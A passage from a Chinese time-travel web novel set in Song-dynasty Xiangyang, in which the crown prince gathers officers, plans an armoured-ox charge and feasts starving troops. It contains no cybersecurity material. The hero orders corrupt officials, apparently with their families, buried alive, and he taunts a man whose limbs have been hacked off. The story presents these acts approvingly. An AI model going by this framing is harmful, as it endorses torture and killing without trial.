孟珙见宋宇问起,回道“:殿下,当务之急是让各营先吃顿饱饭,再裁汰老弱,发给遣散银两,挑选精壮重新编练为一营。”
“:这么做能得多少兵马?”
“:马匹是别想了,要么被营兵卖了吃了,要么被史嵩之收走卖给了金国。士兵倒是能精编成两千多人。”
“:围困你父亲的金兵多少?”
“:五万余众。”
“:不行,人太少了,杯水车薪,还没有马。”
“:现在招募已经来不及了。”
话到此处,宋宇陷入了沉思,少时抬起头“:看来只能用那个办法了。”
言罢,宋宇领着孟珙向外厅走去。外边几个指挥使,早都停了议论。见宋宇出来,纷纷站的笔直。静等宋宇吩咐。
宋宇冲下边扫视了一眼。平静的说道“;诸位,从今天起,本殿下全权负责襄阳事务,几位可愿听本殿下差遣?”言罢,宋宇面色平静的看着厅内五位指挥使。静等几人答复。
五个指挥使方才早就商量好了如何行事,此时宋宇表白,几人也不犹豫,纷纷跪下言道“:殿下,我五人,今后唯殿下马首是瞻。”
宋宇见这五人很上道,免了不少口舌,很是高兴,笑着说道“:都起来吧,自现在起,都是自家人了。”
几人一听,纷纷对着宋宇行了个拱手礼“;全凭殿下吩咐。”
“:都半夜了,你们几位也别回去了,就在这史府内下榻,孟兄弟,你忙了一天,也去休息吧。”
几个指挥使听了命令,在侍卫带领下走出了前厅,孟珙却多问了一句“:殿下,你不休息?”
“:余阶出去抄家,还没回来,我在这里等他,兄弟你不用管我,去休息吧,我累了就在这桌案上睡会。”
“:殿下仁义之君。不过小弟想先去城外,安抚城外营兵,以免夜长梦多。”孟珙对着宋宇一抱拳,随即也不待宋宇答复,径直向厅外走去。
第七十一回 会客三指挥 田奇献阵图
宋宇看着孟珙远去的身影,苦笑着摇了摇头,心想自己这帮兄弟,个顶个的工作狂。
随即再次趴在桌案上,打了几个哈欠后,睡了过去。
直到清晨第一缕薄雾消散,余阶才满面疲惫的从大厅外走了进来“:殿下,小弟回来了。”
宋宇揉了揉惺忪的睡眼“:啊,忙完了?”
余阶手拿王焕君给的官员名录回了一礼“;为免夜长梦多,小弟一夜间将襄阳城内所有官员的家全抄了。财务全都被小弟入库,家眷被集中在前院。”
宋宇起身走到余阶身旁,轻轻拍了拍他肩膀“:兄弟辛苦了。”
余阶淡然一笑“:殿下等了小弟一晚上,小弟,小弟敢不竭尽全力...”
余阶话到此处,竟有几滴眼泪在眼眶中打转,忙低头躲避宋宇视线。
宋宇心道余阶这泪点是真低,自己不过等了他一晚,他竟感动成这样“:兄弟你先去后院休息,剩下的事,交给我们了。”
“:殿下,小弟还能坚持。”
“:看你这黑眼圈,走路都要睡着,你且休息片刻,我可不想你累倒。”
“:那小弟先去休息了,殿下有事,尽可传唤小弟。”
余阶言罢,对着宋宇拱了拱手,向着厅外走去。
余阶走后不久,府内众人陆陆续续来到前厅。
宋宇一一打量众人,就见彭义斌一脸的无精打采。
宋宇笑着问道“;怎的?彭兄弟如此无精打采?“
彭义斌见宋宇问起这事,一脸埋怨地答道“;早知便不去后院睡觉了,后院史嵩之那厮,杀猪般喊叫了半夜。太子兄弟,你早该杀了他,乐的一个清静多好?”
宋宇不置可否地笑了笑说道“;看来这郎中手艺不错,没治死,只是忙了这半宿还未出来,真是辛苦他了。”
“;殿下,孟将军回来了。”门外杨妙珍边喊,边领着孟珙与身后三个身着盔甲的将军,走入了厅内。
宋宇一听大喜,忙走上前去,正待说话,孟珙身后几人当先跪了下来孟。
珙则站着拱手道“;殿下,小弟给您带来了城外三个骑营得指挥使。”
那三人见孟珙介绍,跪在地上一一言道“;城北马军指挥使江海,城南江城,城西马俊良,拜见太子殿下。”
“:快快请起,劳烦三位将军亲自到此,实是万不得已,万望三位将军谅解。“
宋宇谦卑得道歉道。只是一边道歉,眼神却从未离开过那名叫江海之人。只见这人身着金盔金甲,满脸胡须,约莫六十余岁。看上去老成持重。
“;卑职等,哪敢怪罪殿下?殿下若有吩咐,尽管说来便是。”三人见宋宇客气,慌忙答道。
宋宇开心的将他们搀起,正待说话,旁边孟珙先开口了“;殿下,江海指挥使,是小弟父亲的结拜兄弟。为人甚是豪义。殿下不必将他当作外人。”
见孟珙介绍自己,江海上前一步“:殿下,您的事,孟侄儿已经对末将说了。殿下但有吩咐,尽可直接说来,末将必然尽心竭力办事。”
话到此处,江海意犹未尽的叹了口气“:唉...可惜史嵩之掌权这一年来,马匹军械,被他卖了个干净,粮草时时不给,眼见手下兵丁勇壮个个面黄肌瘦,末将却只能睁一只眼,闭一只眼,默认让他们逃走了大半。现在殿下用兵,末将失职,向您告罪。”江海老泪纵横,边说着,边对着宋宇磕头。
宋宇叹了口气,心中暗道:看来这城外三营,也基本被史嵩之祸祸完了“;几位,营中尚有多少可战之兵?多少马匹?”
三人对视了一眼,只见江海一脸难色得说道“:三营加起来,马匹不足百,手中有兵刃的可战之兵,或可凑足一千。”
宋宇一听这数字,心中暗骂:真踏马刺激啊,看来这解枣阳之围,还得好好谋划一番了。
见宋宇面露愁苦之色,孟珙劝道“:殿下,三千甲士,足以解枣阳之围。小弟愿为先驱,救出老父亲并城内百姓。”只见孟珙激动的说道。
宋宇见孟珙太过激动,赶忙劝道“:孟兄弟,我又没说不救,且让我好生思量一番。在提征战不迟。”
宋宇话语刚落,从厅后传来一阵爽朗的笑声“:哈哈哈,徒儿,你建功立业之时到了。去,与殿下说说你的想法。”
宋宇寻声看去,只见张三丰领着徒儿田奇走了出来。仔细思量了下张三丰言语,宋宇觉得这张三丰似是有破敌良策,赶忙问道“:**莫不是有解枣阳之围的良策?”
张三丰笑了笑“:殿下,贫道无有良策,但贫道身后这位徒儿,确是有些本事,殿下可问计于他。”边说着,边指了指身后一言不发的田奇。
田奇不急不慢的从张三丰身后走了出来,对着宋宇施了一礼“:殿下,金人之利,莫过于重骑。草民这里有一法,不用马匹,可胜金人重骑。”
包括宋宇在内,所有人听了这番言语,都是瞪大了双眼:不用马,胜过重骑?两条腿能打得过四条腿?
田奇见满厅人都是不可置信的神色,并不以为意,依旧古井不波得说道“:殿下可曾听闻铁牛阵?”
宋宇听了,越加糊涂“:铁牛阵?齐国田单倒是有过火牛阵”
田奇点了点头,继续说道“:铁牛阵,乃是草民家祖传的驭牛阵图所载。方法极为简单,只要为牛头打造铁铠,由一人驾驭头牛,率领**冲锋。管他对面如何军阵,一概踏为齑粉。”
此时宋宇听明白了,感情是赶着**冲锋。这,似是有点像后世得坦克战法。
但细一思量,又觉得不妥,追问道“:现在枣阳已断粮五日,若再不去救,形势危急。这么短的时间,能组建一支铁**?即使能组建,又由何人指挥?”
田奇听了,赶忙答道“;我大宋虽则缺马,牛却着实不缺,只要殿下花些银子,一日之内收得千余头牛,还是不难的。至于**所穿铠甲,这襄阳城便有军器监,殿下
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只要动员所有工匠,给冲锋在前面的,最精壮的百余头牛打造百余幅牛铠,最多两日,也可完成。至于驭牛之人,草民一人便可。”
宋宇听闻最多两日便可成军,回头问孟珙道“:枣阳还能坚守几日?”
孟珙见宋宇问起,思量了一会答道“:有家父在,想来在坚守五七日不成问题。虽则断粮,但城中百姓向来仰慕家父。应该会将家中余粮拿来以充军需。共度难关。”
言毕,孟珙意犹未尽的补充道“:只是,殿下,单凭**冲锋,怕是难以战胜敌军。须以精兵压后,扫荡被**冲乱的残敌。胜算方可有之。”
“;靠谱,只是没有骑兵,步兵压后,是否太过缓慢?”宋宇虽则对兵法狗屁不通,但仍是看出了点不妥,有些疑虑的问道。
田奇听宋宇说到此,忽灵机一动“;殿下,虽无马匹,但想来襄阳骡子与毛驴定然会不少。殿下收牛的时候,顺道收些毛驴骡子,充作骑兵坐骑,也不失为一种替换马匹的良策。”
宋宇吸了吸鼻子“:你是说,骑驴打仗?”
田奇听了宋宇这滑稽的说法,并未发笑,反倒一脸认真地劝道“;殿下,非常之时,又岂在乎骑什么?”
宋宇挠挠头“;罢了,非常之时,当有非常之人,做非常之事。”言毕,将脸一板,吩咐三骑兵指挥使道“;三营指挥使听令。”
三**声领诺,宋宇继续吩咐道“;卓你三人,回营整肃兵马,尽数带来城内进行整编。”
三人听了宋宇命令,诺了一声,告辞回营了。
宋宇继续吩咐道“;孟珙王坚吕文德听令,卓你三人各带领二百忠义军兵丁,发布榜文,在襄阳周边采收毛驴骡子牛。所需银两几何,尽可回府中找余老幺来取。”孟珙三人领了声喏,向厅外走去。
“:田奇听令,本殿下令你在城内发布榜文,招募铁匠,依照牛铠模样,画成样图,打造牛铠。”
田奇听了命令,很是兴奋“;草民遵令,草民这就去张贴榜文。”言罢,田奇领命而去。
宋宇深吸一口气,暗道:终于要用自己昨夜想的那条计谋了,此计谋用好了,杀敌利器,用不好,未伤人,先伤几。
“:彭义斌程保赵国听令。”
“:在。”
“:前院有余阶昨晚带回来的满城官员家眷,一直放在那里,实在不雅,着你三人,打开城内衙门监牢,放出监牢内所有囚犯。”
程保急性子,没等宋宇话说完,插嘴道“:殿下,放囚犯会不会生乱?”
宋宇淡然一笑,也没怪他打岔“:彭兄弟,你可有信心说服这些囚犯,为咱们去打这枣阳之战?”
彭义斌见问,活动了活动浑身筋骨,就听‘咔吧咔吧’直响“:太子兄弟,这事你交给俺算是找对人咧,想当年俺在山东,一次就释放过上万名囚犯,这襄阳城的囚犯,想来也不会比那次人多。就算有不服咧,俺也有信心,打到他服。”
第七十二回 全都埋了吧 杨妙珍谈心
宋宇笑着对彭义斌点了点头“:那就好,这件事交给彭兄弟算是找对人了。记住,囚犯中老弱病残一概不要。等监牢位置腾出来了,就把前院的人都扔进去。”
彭义斌听到宋宇命令,并未急着行动,反倒是有些不开心的对宋宇说道“:太子兄弟,你让俺放囚犯俺没有意见,但你让俺把那些官老爷还有他们的家眷全都关进监牢,俺不乐意。”
宋宇正要回彭义斌话,却见杨妙珍和谢道清俩人走了过来。
谢道清当先一步开口道“;殿下,前院那么多贪官和家属,不知殿下您要怎么处置?”
“:先关进监牢,余阶还有事在忙,咱这文官又太少,等他闲下来,交给他处置。”
谢道清面露不悦“:殿下,关起来太便宜他们了,还等余阶?你打算审问他们?”
“:啊,证据确凿的依大宋律法处理。”
“:殿下,直接拉去闹市全部砍头吧。这些人清儿听余阶说了,最少的也是数万两起步,若是依照大宋律法,当年太祖皇帝一次就杀了二十多个贪污几千两的贪官。”
“:我大宋对贪官下手这么狠的吗?”
谢道清见宋宇对大宋律法一窍不通,白了宋宇一眼“:殿下,开国初年,制定律法时便开篇明义,凡马上就要灭亡的国家,必然其律法先乱。而这乱律法者,又以贪腐为最。不重罚难以平天下悠悠众口。后来靖康之耻后,高宗皇帝开始有意纵容官员贪腐,这才导致我大宋少有被杀的贪官,最严重,也就是抓进去住几年罢了。殿下,贪腐的惩罚如此轻,这些官员全都视大宋法律如无物,抱着赶紧贪,贪完就往周边大理呀,金国呀跑,就算真被抓进去,也不过住几年的事。尤其现在史弥远当权,我大宋更是十数年没有人因为贪腐被抓进去。殿下您要真想救大宋百姓于水火,把这些贪官当着满城老百姓的面杀了吧。”
宋宇盯着一脸认真的谢道清,陷入了沉思:清儿这么恨贪官,是个性使然吗?
要说谢道清在历史上,那真是笔墨颇多。虽然爷爷是宰相,但一出生母亲就病死了,只剩父亲一身是病。
年幼的她不得不开始操持家务,独立生活。后来父亲病故,谢道清的人生直接跌入谷底。
却在这时,杨太后感恩当年谢道清爷爷的恩情,又为了制衡史弥远集团,便让谢道清成为了皇后。
理宗不喜欢谢道清,整日跟别的妃子快活,谢道清倒也乐得清静,依旧简朴的生活在深宫之中。
直到蒙古人跨过长江,直逼临安,理宗想要迁都逃跑,谢道清第一次站了出来,怒斥提议迁都的群臣和理宗。理宗这才打消了逃跑的心思。这也是谢道清第一次在朝堂上显露锋芒。
后来宋恭帝即位,年仅四岁。大宋已是日薄西山。谢道清再次被请出来垂帘听政。此时谢道清已是垂暮之年的老人。
面对一个个投降的将军,以及卷款私逃的官员,甚至还有临阵逃跑的宰相。谢道清说出了历史上最著名的南宋谢幕语:我大宋三百年来,对士大夫不薄,现在老婆子和幼帝遭遇危难,你们这些士大夫除了丢弃官印,争相逃跑。就没有一点读书人的气节在。你看看你们这些饱读诗书的家伙,哪还有一点人样?之后谢道清面对亡国危机,对天下发布求贤令,名言,国家将亡,愿救国者,赐宰相高位。
想到这,宋宇缓缓回过神,却听一旁的杨妙珍一脸义愤填膺地说道“:殿下,要是这些贪官碰上我爹,脑袋早搬家了。殿下若在犹豫,我看不起你。”
宋宇一拍大腿“:好,这件事就交给妙珍你去办。不过砍头都是血,他们血脏,流出来脏了街道还得打扫。彭兄弟你三人率领一队忠义军,去襄阳城最热闹的十字路口,撬开石板路,挖个大坑,直接把他们活埋在里面,让全襄阳城的百姓,每日从他们脑袋上经过踩踏。待到埋了他们,再去释放囚犯。”
“:喏。”
彭义斌爽快的接了命令,随即呼喝一队忠义军带上工具,便奔着十字路口而去。
谢道清这才消气了“:殿下如此处置,才能服天下人之心。”言罢,转身而去。
“:王焕君听令。”
“:小妹在。”
“:府外有那些官员留下的马匹,小妹你任意挑选,先行一步去枣阳周边打探敌情。”
“;定不辱使命。”
王焕君利落的领了命令,奔着府外走去。
将一切吩咐妥当,宋宇揉了揉紧皱的眉头“;也不知道现在什么时辰了?”
张三丰在旁答道“:快晌午了。”
宋宇见是张三丰,笑着说道“:多谢真人数次相帮,大恩大德,感激不尽。”
张三丰捋着胡须笑道“:殿下是少见的仁德之主,贫道几世修来的福分,能和殿下相遇。至于帮忙,举手之劳罢了,殿下不必放在心上。倒是我那远在临安的徒儿华岳,以后就托付给殿下了,要说我那华岳徒儿,天资聪慧,却时常冲动误事,不懂得隐忍变通,以至有此劫难,今番大难不死,愿他宝剑锋从磨砺出,所学的本领,能帮助殿下,一路劈山开路,斩妖除魔,将我大宋,带入大唐那般,外无强敌,内无隐忧的盛世。让我大宋子民,能像那南飞的大雁,再次飞回北方故土。”
张三丰一席话说完,宋宇百感交集“:我发誓,只要还有一口气在,必将谨遵道长之言。”
张三丰微笑着拱了拱手“:那贫道便告退了。”言罢与杨妙珍一前一后向后院走去。
目送张三丰和杨妙珍身影远去,宋宇自言自语“:想不到不光清儿嫉恶如仇,就连杨妙珍也是恨贪官入骨,话说这样性格得杨妙珍,一身武艺,回到李全身边,只会悲剧收场,有时候实在不懂,性格相差如此大得你为何屈身与李全那厮?”
宋宇话音刚落,却听余阶声音传来“;殿下,这山东形式混乱,蒙金与我大宋,再加上他忠义军,势利犬牙交错。像杨姑娘这样,手下有兵却无钱粮的将军,怕是不在少数。想来杨姑娘最初是因钱粮屈居李全之下,现在,这杨姑娘怕是碍于面皮,正在犹豫之中。”
宋宇听了余阶所言,继续说道“;你觉得杨姑娘,会不会为我效力?”
余阶见宋宇直接问起此事,犹豫了片刻答道“:杨姑娘虽是女儿身,确是甚为义气,殿下若不用些手段,恐怕杨姑娘不会改变心意。”
“;唉,现在本殿下就想拖,托一日算一日,反正不能让杨姑娘再回山东。不然本殿下定会悔恨终身。”宋宇摇头叹息道。
余阶盯着一脸难色的宋宇,笑着劝道“;这拖,也是个好办法,待到拖得杨姑娘对李全之心淡化,殿下再趁机而动。指不定便能留下她。”
宋宇转头看向了余阶,见他黑眼圈少退,开口问道“:不在多睡会?”
“:小弟还有大批查抄的银钱没有清点入库。”
“:要是把刘克庄他俩带在身边就好了,能帮兄弟你分担不少压力。”
“:多谢殿下关心,小弟还顶得住。殿下若无事,小弟就去忙了。”
言罢,余阶向着后院仓库走去。
宋宇目送余阶走远,再次坐回了主位,谢道清从旁端着一碗鸡汤走了过来“:殿下,喝点鸡汤吧。”
宋宇一脸感激的端过鸡汤,却听谢道清再次开口道“:殿下,清儿送你的那面龙旗可还在?”
“:一直在身边带着呢,就在卧室包袱里。”
“;殿下,这面旗,是时候派上用场了,清儿取来,寻两个人绑在旗杆之上,让它随殿下出征。”
谢道清言罢,向着宋宇卧室走去。留下宋宇一人津津有味的喝着鸡汤。
,此时结伴往后院去的张三丰与杨妙珍,正在有一搭没一搭的聊天“:殿下处理政务,有条不紊,对待下属,亲如兄弟,姑娘就不动心?”
“:不知真人说的是哪方面的动心?”杨妙珍恭敬的对张三丰说道。
张三丰笑着摇了摇头“:杨姑娘,莫不是你对殿下还有那方面的想法?”
听了张三丰之言,顿觉脸上发烫“:真人莫要乱说,让人听了去。”
张三丰哈哈一笑“:看来姑娘对跟随殿下之事,心中已有计较。”
杨妙珍听了张三丰话语,怕他乱想,叹了口气说道“:其实妙珍觉得殿下这人,很是奇怪,让人很是摸不透。”
“:此话怎讲?”张三丰追问道。
杨妙珍平静的回道“:殿下这人,很是矛盾。既温柔洒脱,不拘小节,却又处事严谨,办事认真。既不计仇怨,善解人心,却又粗枝大叶,古怪陆离。时不时的出个鬼点子,戏弄那些像是史嵩之似的烂人。”
张三丰听这杨妙珍,一口气说了太子这么多特点,笑着问道“:姑娘,贫道虽则只与你们相处了一日,但却也看出些门道。太子对你,似是不如其他兄弟那般随意,反倒是以客礼视之。仿佛你们之间,总隔着一层窗户纸。”
杨妙珍见张三丰说到此事,便停下了脚步,飘然坐到了走廊护栏上。把在长江上的那场大战,大略说给了张三丰。
第七十三回 军营开宴会 中医严用和
张三丰听了杨妙珍讲述,眉头紧皱“:哦?原来你和太子殿下还有这么一场误会。真是不打不相识啊!”
杨妙珍尴尬的笑了笑,随即讲起了自己的一段往事“:真人,不是妙珍不愿归降太子,助他重整朝纲,再造社稷。实是,当年兵败势穷之时,与这李全共患难过一段时光。这李全虽然贪财好色,无有大志,但这也怪不得他,义军吃饭,穿衣,兵器马匹,无一不是靠他张罗。若非如此,史弥远岂会钻了空子,利用他整顿山东形式?若是不利用他,史弥远又岂会给我等粮草军械?现在我若弃他而去,心中实在有些不忍。”
张三丰捋了捋胡须“:姑娘女儿之身,却这般重义气,实是难得。”张三丰言罢,对着杨妙珍告了辞,向自己卧房走去,留下杨妙真一人,独自坐在走廊愣神。
一天的时间,余阶也未曾休息,一直在忙着将财物入库。宋宇则骑马前往城内北营,查看士兵组建情况。
说实话,宋宇还是把情况想的太乐观了,此时宋宇所看到的襄阳兵丁,真跟要饭军差不多。
穿盔甲的几乎没有,即使有,盔甲也是残破不堪,千疮百孔。衣服破破烂烂,补了又补。就连手里的兵器也是五花八门,锈迹斑斑。一个个骨瘦如柴,站都站不直。就这卖相,手中再拿个碗,沿街乞讨,肯定没人怀疑。
“:殿下,接下来如何处置?”孟珙问道。
宋宇长叹口气“;眼下先让他们吃吨饱饭,才是最紧要得。田奇应该收了不少耕牛,去牵来几头,今天炖牛肉。再去粮仓,拉来米,让将士们好好饱餐一顿。还有,酒也不能少,去找余阶,他查抄了好些美酒,挑最好的,拉来大营。”
孟珙一脸兴奋的领了声喏,随即与吕文德两人分头行动。奔着大营外赶去。
孟珙前脚刚走,后脚彭义斌带着两千余罪犯,队列整齐的走进了大营“:殿下,监牢内五千多人,俺挑来挑去,就挑出来两千多看着还行的。剩下的老弱病残,俺给了他们些遣散费,直接让他们回家去了。”
宋宇倒没计较彭义斌私放囚犯回家这件事,按照宋宇的想法,能被史嵩之抓进监牢的,想必也不是什么罪大恶极之人。多半是交不起税,被扔进去的。
让宋宇在意的是,彭义斌这么短的时间,竟然把这些囚犯训练的行军有序“:彭兄弟,你用什么方法,把他们训练的这么老实?”
彭义斌面上露出得意之色“:也没啥,俺就是跟他们说,觉得自己身手好的,就站出来揍俺。结果他们二十几个揍俺一个,愣是被俺打的跪地求饶。”
宋宇差点没憋不住笑出来“:彭兄弟做事,真是豪爽。”
“:殿下,俺想训练他们刀法,特来要些刀类兵器。”
宋宇一听要兵器,顿觉一个头两个大,用手指了指不远处要饭似的营兵“:喏!你看看他们,彭兄弟。”
彭义斌顺着宋宇所指看去,顿时眉头皱成了川字“:殿下,你从哪弄来这么多流民?”
“:什么流民?都是正规营兵。史嵩之不给兵粮,不给军饷也就罢了,还不给兵器盔甲。搞得这些人全都成了这样。”
“:奶奶个熊,俺现在就拿刀剁了这姓史的。”
“:兄弟,那活现在有人干了。当务之急,是先搞到兵器。你去找余阶,他抄家抄出来不少官员家私兵携带得兵器,你带人去全搬来。”
“:还是余兄弟靠谱,太子兄弟,俺这就去。”
“:对了,一会兵营里杀牛,还有美酒,你可得快点忙,晚了不等你了。”
“:太子兄弟仗义,就冲这美酒,俺一会就能忙完。”
彭义斌一听有酒,顿时馋虫被勾出来,命令那些囚犯兵,小跑着去找余阶去了。
宋宇则转过头,与营内几个指挥使打起了哈哈。
余阶站在史府的仓库前,手拿毛笔账本,看着杨妙珍指挥忠义军,一箱箱的,将金银财物全都搬到了府库之中。
小小也在旁帮忙,在箱子上贴封条。就在众人忙碌的当口,却见王坚带着兵丁跑了过来。
“:王兄弟急匆匆地来此作甚?”
“:殿下让搬最好的美酒,去军营犒赏士兵。”
“:那你在我这里签字画押。”
王坚赶忙依计行事。带着兵丁进府库中找美酒去了。
不多时彭义斌也带着囚犯兵跑了过来“:余兄弟,太子兄弟让俺来找你要兵器铠甲。”
“:你怎么把囚犯带这来了?这库房中可都是金银。”
“:余兄弟别怕,有俺在,他们乖的很。”
余阶摇了摇头“:你呀,一会进了库房,可得把他们看紧了,库房内若是丢了东西,我可找你要。”
“:刚才俺还在太子兄弟那夸你顺眼,你瞅瞅,跟个土财主似的。”
余阶白了他一眼“:喏!签字,画押。”
彭义斌走完流程,带着囚犯兵奔着库内走去,边走边大声嚷嚷“:都给俺手脚干净点,不老实,俺就一拳打死他。”
时间过得飞快,转眼已到黄昏时分,晚霞绚烂多彩,清风吹拂着营寨内那早已被风吹日晒雨淋折磨的不成样子的营内大旗。
宋宇的一帮兄弟,陆陆续续来到大营内,少时整个大营热闹起来。
就见大营内,十几头耕牛已被宰杀,几十口大锅内咕嘟嘟的冒着热气,炖牛肉的香味随风飘进每个士兵的鼻腔之中,馋的他们直咽口水。
“:妈呀,我是不是在做梦?那锅里炖的是牛肉?”
“:感谢老天庇佑,我还当要饿死在军营里了。”
“:太子殿下真是活菩萨,俺天天给您上香磕头。”
“:来来来,都来拿大碗。”
火头军敲着锣,呼唤士兵们开饭了。
满营士兵包括那些新招募的囚犯兵,早都饿坏了,不多时每口大锅前全都排起了长队。
宋宇站立在一口大锅不远处,面前摆满了美酒坛子,宋宇打开几个,一股浓郁的酒香扑鼻而来,瞬间在周围扩散开,直接吸引的正在排队领牛肉的士兵,全都向着宋宇这边看来。
“:领了牛肉的,过来本殿下这边领美酒。”
宋宇言罢,一直默默跟在宋宇身旁的谢道清,微微欠身,从旁的地上捡起一个大瓷碗,宋宇则搬起一个酒坛,瞬间倒满。
却许久不见有士兵来找自己讨酒吃。宋宇纳闷,大喊道“:都不饮酒吗?”
这一嗓子喊出,整个大营瞬间静的可怕,也不知过了多久,一个衣衫褴褛的中年士兵扑通一声对着宋宇跪了下来“:太子殿下,您是我们的救命恩人,我给您磕头了。”
一言出,万言跟随“:我也给您磕头,愿您长命百岁。”
“:我也是。”
“:我也是。”
“:太子殿下,那史嵩之抢了小人媳妇,还把小人打入监牢。小人本以为死定了,多谢太子殿下大恩大德,救小人出来,太子殿下,小人愿意当牛做马报答您。”
整个大营内的士兵,全都对着宋宇跪下,好多人痛哭流涕,场面让宋宇顿觉鼻头一酸,两行清泪不自觉地滚了下来,被野风一吹,带向了更远的地方。
“:麻蛋,有酒有肉,哭个屁,都给我起来。我说话有那么煽情吗?你们一个个的怎么泪点都踏马这么低呢?”
宋宇用袖子擦干泪痕,笑骂道“:还不起来领酒吃?”
这一日,宋宇又喝高了,众位兄弟也都东倒西歪。直到深夜,众人才在满营士兵不舍得目光中,结伴回府。
第二日,宋宇刚起床,正要洗把脸,却听门外一人禀报“:殿下,小人有事禀报。”
宋宇打开门一看,原来是给史嵩之治病的郎中。这郎中对着宋宇施礼“:殿下,很成功,史大人没死,殿下是否要去看看?”
宋宇坏坏一笑“:嘿嘿!!!没死?那真是太好了,对这些人,就得让他生不如死,走,陪本殿下去看看。”
宋宇言罢,领着郎中,奔后院走去。
到了后院,老远便听到杀猪般得叫声,宋宇自言自语道“;又不过年,现在杀猪做什么?”
郎中严用和听了宋宇言语,暗自擦了把汗“;殿下,是史大人在喊叫。”
“:哦?砍掉手脚,这么疼?”宋宇一脸好奇的问道。
“;可不是吗,殿下,为了减轻史大人痛苦,草民可是给他灌了三大碗麻沸散。仍是止不住史大人的喊叫。”严用和在旁回答道。
“:阁下医术,果然高超,不若便留下本殿下身边,本殿下定然厚待与你。“宋宇也不知怎的,忽然心血来潮,起了收服之心,其实宋宇这看似无心之举,却无意间结识了一位了不得的人物。
这严用和,可是大宋数一数二的医学家。所著济生方,中医巨著,流传后世。
严用和听了宋宇之言,十分开心,跪地向宋宇表过了谢意。
宋宇将他扶起,寒暄几句后,两人又继续向喊叫处走去。
吩咐了门口两个负责守卫的忠义军兵丁打开门后,宋宇当先走了进去。
一进屋,顿觉一股浓重的血腥气夹杂着屎尿的臭气扑面而来。宋宇捏着鼻子,说道“;豁,这踏马腥臭味。”
第七十四回 史嵩之痊愈 严用和往事
严用和慌忙在旁答道“:殿下,别提了,我这边帮史大人治病,那边史大人也不知吃了什么不干净的东西,是一泡接一泡得拉屎。直把人熏得够呛。”边说着,边指着床上的史嵩之唏嘘不已。
史嵩之在见到宋宇进来的一刹,便不再喊叫,双目猩红的盯着面前的宋宇,似是想要一口将宋宇吃下。
宋宇上下打量一番,就见史嵩之躺在床上,四肢七零八落的随意丢弃在周围,身上只剩一对半截胳膊和半截大腿,四脚朝天躺着,口鼻不住溢出血沫子。看史嵩之这惨模样,宋宇吐了口唾沫“;恭喜史大人,治好了多年以来未曾根治的贪疾。”
床上的史嵩之见宋宇调笑自己,破口大骂道“;姓赵的,你好狠,我家哥哥若是知道你如此待我,定会将你碎尸万段,挫骨扬灰。”
宋宇嗤笑一声,捏着鼻子答道“;嗯,多谢史大人,到了此时,还不忘提醒本太子,你家还有位哥哥。他日将你家哥哥擒了,定然同样处置,到时在皇宫之内,给你兄弟二人盖间猪圈。每日槽料饱食。定然不会亏待了你们兄弟。”
史嵩之听了宋宇说辞,眼神中露出些许惊恐之色,一改愤怒的样子,对着宋宇哀嚎道“;殿下,求你放过本官一家老小,本官,本官愿将我哥哥得全部秘密都告诉你。”关键时刻,这史嵩之把天天挂在嘴边上的哥哥卖了。
宋宇一脸无所谓的答道“;不用你说了,本殿下已经打开了藏金库,里面该巧不巧,正好有你哥哥暗通金国,倒卖军资粮草,暗通京湖官员的所有罪证,这其中哪一条拿到朝堂上公之于众,你家哥哥都得回家反省。”
史嵩之见宋宇道破了自己的小秘密,哭的更加声嘶力竭“;赵竑,我哥哥定然不会放过你。到时,到时本官要让哥哥。让哥哥将你扒皮抽筋。千刀万剐。啊......”
“:方才刚卖过哥哥,现在又把哥哥继续挂在了嘴边上,也不知史弥远要是知道你这个弟弟是这么爱他,会作何想法?”
话到此处,宋宇暗道:话说亲情这东西是不是史嵩之这类人的幻想,是想要而得不到,聊以意淫的东西?
面对几乎被自己气疯的史嵩之,宋宇鄙视的淬口唾沫“:就你家人的命是命?就你家人的命值钱?别闹了,你可知你兄弟两个祸祸死得无辜百姓,朝中忠良,何止成百上千?”
“:姓赵的,你放屁,我兄弟二人虽然贪财,但决不为了钱财无辜害人性命。虽则揽权,但与我兄弟争权之人,皆是蛇鼠一窝之辈,死不足惜。”
宋宇听了这史嵩之谬论哈哈大笑“;哈哈......想不到从你这烂货口中,能听到这番话语。好,本殿下且问你,你将马匹军械,悉数卖给金国,致使本已被蒙古打的奄奄一息的金国有了继续南征的实力,让这荆襄之地,战火再次燃起,这场持续数年的战火中所有战死的将士,明着是死在了金人刀下。实则是被你兄弟二人捅了黑刀子。”
宋宇这么说,并非空穴来风,其实前世宋宇就很好奇,金国被蒙古打的,只剩河南一地,要多惨有多惨。但奇怪的是,金国与南宋的战争,整整打了七年。这七年里,大规模的南下,便有两次,期间小的摩擦,更是不可胜数。想金国国土狭小,兵源匮乏。像这样同时和蒙古,西夏,南宋三面开战,而持续十余年之久的状态,太过莫名其妙了。
但自从看了史嵩之那份密录,宋宇全都明白了。史弥远两兄弟,是在串通金国,合伙洗劫大宋。
而且明面上,史弥远可以说是借着与金国开战暂时挽回了声誉,背地里又不曾得罪金国。像这样,将战争打成了生钱的机器,史弥远可谓是老谋深算。
“;这...”史嵩之被宋宇说的无言以对。顿时安静了下来。但沉默片刻,又继续叫嚷道“:姓赵的,休要血口喷人,本官来这襄阳,不过一年有余,你怎的说数年战死将士,全都是本官所为?”
宋宇叹了口气“:本来本殿下以为,这赵方之所以兵民合一,实是因金人强大,金兵强悍所致,但到了这襄阳,本殿下才明白一件事,感情这赵方之所以动用民兵,实是迫不得已啊。你哥哥史弥远,贪污军饷,强索贿赂,更加令人可恼得是,竟然架空了我大宋的军营,将这军营名额,谎报多填,讹诈饷银。若非我大宋得城池都是固若金汤的堡垒,就凭那些个乞丐兵,能打得赢什么杖?罢了。本殿下不想再与你这蠢猪一般的畜生理论。”。
皱眉寻思片刻,宋宇忽的灵机一动,坏招又来。只见他对着外边守卫得忠义军喊道“;门外忠义军兄弟,你等可知道炼丹那道士关在哪?”
门外两人听见宋宇喊话,立马小跑进来,跪在地上惶恐说道“:殿下,可使不得,我两人乃是山野草民,岂敢和太子您称兄道弟?”
宋宇看着面前两个浑身颤抖的忠义军,有点后悔方才说出那番话了,赶忙劝道“:快快起身,本殿下最烦这些跪拜之礼。我且问你们,可否领来那炼丹的道士?”
两人听了太子吩咐,小心翼翼的站了起来,只见其中一人说道“:小人知道,那道士就关在隔壁。”
“;那好,速速将他唤来。”宋宇迫不及待的说道。
那忠义军诺了一声,小跑着便去找道士了。不多时,便押送着道士走了进来。
宋宇开门见山“;道长,听说你会炼壮阳的丹药?“
